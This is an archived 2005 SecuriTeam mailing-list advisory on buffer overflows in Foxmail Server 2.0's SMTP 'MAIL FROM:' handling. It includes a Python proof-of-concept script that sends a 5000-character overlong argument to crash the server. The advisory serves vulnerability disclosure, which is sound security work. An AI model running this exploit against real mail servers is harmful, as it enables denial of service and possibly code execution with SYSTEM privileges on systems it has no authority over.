Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [NT] Multiple Vulnerabilities in Foxmail Server |
|---|---|
| Date: | 15 Feb 2005 14:20:06 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Multiple Vulnerabilities in Foxmail Server ------------------------------------------------------------------------ SUMMARY " <http://www.foxmail.com.cn/english/english_3.htm> Foxmail Server is the mail server software developed and owned by Boda Internet Technologies Co., Ltd, inheriting the features of ease of use and user -friendly of Foxmail client software." Multiple vulnerabilities were found in Foxmail server , which can be exploited by malicious people to crash the server and maybe compromise a vulnerable machine. DETAILS Vulnerable Systems: * Foxmail server for Windows version 2.0 The vulnerabilities are caused due to boundary errors in the handling of the "MAIL FROM:" commands. A malicious person can exploit this by supplying a long, specially crafted argument to the vulnerable commands, which will result in a buffer overflow. Successful exploitation will cause a DOS and might allow execution of arbitrary code with SYSTEM privileges. Proof of Concept: #!/usr/bin/python #Code by OYXin #oyxin_at_segfault.cn import socket import sys import getopt def usage(): print "Usage: foxserver.py -h host -p port" sys.exit(0) if __name__ == '__main__': try: opts, args = getopt.getopt(sys.argv[1:], "h:p:") except getopt.GetoptError, msg: print msg usage() for o,a in opts: if o in ["-h"]: host = a if o in ["-p"]: port = int(a) evilbuf = "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n" evilbuf += "RCPT-TO: postmaster@company.mailDATA" + "\r\n" evilbuf += "Message-ID: 123" + "\r\n" evilbuf += "ASDF" + "\r\n" evilbuf += "." + "\r\n" evilbuf += "QUIT" + "\r\n" try: sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sockfd.connect((host, port)) recvbuf = sockfd.recv(1024) print `recvbuf` sockfd.send("HELO localhost\r\n") recvbuf = sockfd.recv(1024) print `recvbuf` sockfd.send(evilbuf) except socket.error, msg: print msg sockfd.close() ADDITIONAL INFORMATION The information has been provided by <mailto:oyxin@segfault.cn> (Fortinet, inc) xouyang. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NT] Microsoft Internet Explorer createControlRange() Memory Corruption, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] Buffer Overflow in OSH, SecuriTeam |
| Previous by Thread: | [NT] Microsoft Internet Explorer createControlRange() Memory Corruption, SecuriTeam |
| Next by Thread: | [UNIX] Buffer Overflow in OSH, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |